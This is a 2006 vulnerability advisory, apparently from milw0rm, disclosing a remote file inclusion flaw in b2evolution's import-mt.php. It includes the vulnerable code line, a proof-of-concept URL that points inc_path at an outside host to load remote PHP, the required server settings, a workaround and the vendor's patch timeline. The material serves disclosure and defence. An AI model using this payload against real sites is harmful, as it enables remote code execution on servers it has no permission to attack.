b2evolution 1.8.5 < 1.9b - 'import-mt.php' Remote File Inclusion

                							

                Severity: High
 Title: b2evolution Remote File inclusion Vulnerability
 Date: 28.11.06
 Author: tarkus (tarkus (at) tiifp (dot) org)
 Web: https://tiifp.org/tarkus
 Vendor: b2evolution (http://b2evolution.net/)
 Affected Product(s): b2evolution 1.8.5 - 1.9 beta
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Description:
------------

Line 67 of import-mt.php (blogs/inc/CONTROL/imports):

>
>require_once $inc_path.'MODEL/files/_file.funcs.php';
>



PoC:
----

http://<victim>/<b2epath>/inc/CONTROL/imports/import-mt.php?basepath=foo&inc_path=https://tiifp.org/tarkus/PoC/

register_globals and allow_url_fopen have to be On


Workaround:
-----------

Put the following line at the beginning of the file.

if( !defined('EVO_MAIN_INIT') ) die( 'Please, do not access this page \
directly.' );



Vendor Response:
----------------

Reported to Vendor:     10.11.06
Vendor response:        10.11.06
Patch in CVS:           10.11.06

# milw0rm.com [2006-11-29]